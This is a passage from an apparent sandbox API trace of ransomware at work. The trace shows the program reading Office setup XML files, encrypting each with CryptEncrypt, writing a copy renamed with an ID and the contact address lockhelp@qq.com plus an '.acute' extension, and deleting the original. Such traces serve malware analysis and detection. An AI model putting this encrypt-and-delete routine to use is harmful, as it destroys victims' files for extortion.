controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0053.261] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0053.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.262] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1886) returned 1 [0053.262] CloseHandle (hObject=0x194) returned 1 [0053.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0053.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.262] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.262] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.263] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0053.263] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.263] ReadFile (in: hFile=0x194, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x75e, lpOverlapped=0x0) returned 1 [0053.268] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x760, dwBufLen=0x760 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x760) returned 1 [0053.268] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x760, lpOverlapped=0x0) returned 1 [0053.270] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0053.270] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.270] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0053.270] CryptDestroyKey (hKey=0x593220) returned 1 [0053.270] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0053.270] CryptDestroyKey (hKey=0x593260) returned 1 [0053.270] CloseHandle (hObject=0x194) returned 1 [0053.270] CloseHandle (hObject=0x178) returned 1 [0053.271] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0053.271] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0053.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.272] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=6421) returned 1 [0053.272] CloseHandle (hObject=0x178) returned 1 [0053.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0053.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.273] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.273] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.273] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0053.273] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.273] ReadFile (in: hFile=0x178, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x1915, lpOverlapped=0x0) returned 1 [0053.386] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x1920, dwBufLen=0x1920 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x1920) returned 1 [0053.386] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x1920, lpOverlapped=0x0) returned 1 [0053.387] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0053.387] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.387] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0053.387] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.387] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0053.387] CryptDestroyKey (hKey=0x593260) returned 1 [0053.387] CloseHandle (hObject=0x178) returned 1 [0053.387] CloseHandle (hObject=0x194) returned 1 [0053.388] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0053.389] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0053.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.396] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=16683) returned 1 [0053.396] CloseHandle (hObject=0x184) returned 1 [0053.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0053.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.396] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.397] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.400] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932e0) returned 1 [0053.400] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.400] ReadFile (in: hFile=0x184, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x412b, lpOverlapped=0x0) returned 1 [0053.408] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x4130, dwBufLen=0x4130 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x4130) returned 1 [0053.408] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x4130, lpOverlapped=0x0) returned 1 [0053.410] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593320) returned 1 [0053.410] CryptSetKeyParam (hKey=0x593320, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.410] CryptEncrypt (in: hKey=0x593320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0053.410] CryptDestroyKey (hKey=0x593320) returned 1 [0053.410] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0053.410] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.410] CloseHandle (hObject=0x184) returned 1 [0053.411] CloseHandle (hObject=0x178) returned 1 [0053.412] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0053.413] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0053.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.413] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1347) returned 1 [0053.413] CloseHandle (hObject=0x178) returned 1 [0053.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0053.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.414] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.414] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.414] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932e0) returned 1 [0053.414] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.414] ReadFile (in: hFile=0x178, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x543, lpOverlapped=0x0) returned 1 [0053.420] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x550, dwBufLen=0x550 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x550) returned 1 [0053.420] WriteFile (in: hFile=0x184, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x550, lpOverlapped=0x0) returned 1 [0053.421] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593260) returned 1 [0053.421] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.421] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0053.421] CryptDestroyKey (hKey=0x593260) returned 1 [0053.421] WriteFile (in: hFile=0x184, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0053.421] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.421] CloseHandle (hObject=0x178) returned 1 [0053.421] CloseHandle (hObject=0x184) returned 1 [0053.421] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0053.422] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0053.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.423] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1458) returned 1 [0053.423] CloseHandle (hObject=0x184) returned 1 [0053.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0053.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.423] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.423] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.424] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932e0) returned 1 [0053.424] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.424] ReadFile (in: hFile=0x184, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x5b2, lpOverlapped=0x0) returned 1 [0053.428] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5c0) returned 1 [0053.428] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x5c0, lpOverlapped=0x0) returned 1 [0053.429] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593320) returned 1 [0053.429] CryptSetKeyParam (hKey=0x593320, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.429] CryptEncrypt (in: hKey=0x593320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0053.429] CryptDestroyKey (hKey=0x593320) returned 1 [0053.429] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0053.429] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.429] CloseHandle (hObject=0x184) returned 1 [0053.430] CloseHandle (hObject=0x178) returned 1 [0053.430] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0053.431] SetEvent (hEvent=0x14c) returned 1 [0053.431] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0053.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0053.437] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=811) returned 1 [0053.437] CloseHandle (hObject=0x1ac) returned 1 [0053.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0053.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0053.437] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.437] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.437] 